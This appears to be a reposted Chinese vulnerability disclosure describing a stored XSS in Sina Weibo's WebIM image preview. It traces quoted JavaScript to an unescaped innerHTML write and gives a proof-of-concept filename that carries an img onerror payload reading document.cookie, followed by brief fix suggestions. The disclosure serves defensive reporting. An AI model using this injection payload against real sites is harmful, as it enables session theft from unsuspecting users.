来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 因为提交,所以提交。详细说明:缺陷文件:http://js.t.sinajs.cn/t4/webim/js/webim.js?v=683ba479e29b6483缺陷代码:1. 微博私信中,点击图片,查看大图时,触发以下事件。bindDomEvent: function() { ......
因为“提交”,所以提交。
详细说明:
缺陷文件:http://js.t.sinajs.cn/t4/webim/js/webim.js?v=683ba479e29b6483
缺陷代码:
1. 微博私信中,点击图片,查看大图时,触发以下事件。
bindDomEvent: function() {
var o = this;
f.core.evt.delegatedEvent(this._root).add("wbim_img_preview", "click",
function(r) {
var q = r.el,
s = q.getAttribute("fid"),
t = q.getAttribute("preview"),
p = q.getAttribute("name");
if (!n) {
n = new f.wbim.ui.PreviewBox();
n.render(f.E("wbim_box"))
}
t && g.fire("previewBox.changeUrl", {
src: t,
fid: s,
name: p
});
f.core.evt.stopEvent()
})
},
2. 可以看到, p = q.getAttribute("name"); 取出了图片元素的name属性。然后作为参数传递给了previewBox.changeUrl事件。
3. 再看事件被fire时的行为。
bindDataEvents: function() {
var j = this;
f.add("previewBox.changeUrl",
function(k, l) {
j.show();
var m = l.src;
if (j._lastImgUrl && j._lastImgUrl == m) {
j.rotation(0)
} else {
if (j.img) {
j.boxNode.removeChild(j.img);
j.img = null
}
j.img = document.createElement("img");
j.boxNode.appendChild(j.img);
j.initArea = {
w: j.img.offsetWidth,
h: j.img.offsetHeight
};
j.resetStyle();
j.img.src = j._lastImgUrl = m;
j.downBT.href = m;
j.checkImgSize();
j.pictureName.innerHTML = l.name
}
});
其中 function(k,l){ } 为事件回调函数, l 为 步骤1中的
{
src: t,
fid: s,
name: p <-- q.getAttribute("name")
}
4. j.pictureName.innerHTML = l.name 这句实际的运行链条是:
j.pictureName.innerHTML = l.name = p = q.getAttribute("name")
----------------------------------------
由于获取图片的name属性后,没有做二次过滤,就直接输出到了innerHTML,从而导致XSS。
POC:
将一个图片的文件名修改为:baidu_sylogo1.gif#"<img src=1 onerror=alert(document.cookie)>.gif
在WEBIM处的聊天窗口里,上传这个图片并发送。
对方点击图片后,即可触发XSS。
----------------------------------------
代入到上面的缺陷过程走一遍。
<img title="图片" alt="baidu_sylogo1.gif#"<img src=1 onerror=alert(document.cookie)>.gif" src="http://vdisk-thumb-1.wcdn.cn/maxsize.191/data.vdisk.me/29995023/6477c6794eecaca3f31c125f7b16b1cad56af0ea?ip=1350836400,172.16.105.125&ssig=reE%2BtbnAoV&Expires=1350835200&KID=sae,l30zoo1wmz&source=209678993" onerror="this.src='http://img.t.sinajs.cn/t4/appstyle/webim/images/file.gif';" action-type="wbim_img_preview" fid="176029019" preview="http://upload.api.weibo.com/2/mss/msget?source=209678993&fid=176029019" name="baidu_sylogo1.gif#"<img src=1 onerror=alert(document.cookie)>.gif">
p=q.getAttribute("name")= 自动转义("baidu_sylogo1.gif#"<img src=1 onerror=alert(document.cookie)>.gif") = baidu_sylogo1.gif#"<img src=1 onerror=alert(document.cookie)>;.gif
然后.innerHTML=p 就会运行alert(document.cookie)
------------------------------------------
运行效果如下:
修复方案:
1. 在取出q.getAttribute("name")后,进行二次过滤,再输出到innerHTML
2. 当然也可以和你们现在这样,把&改为x
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com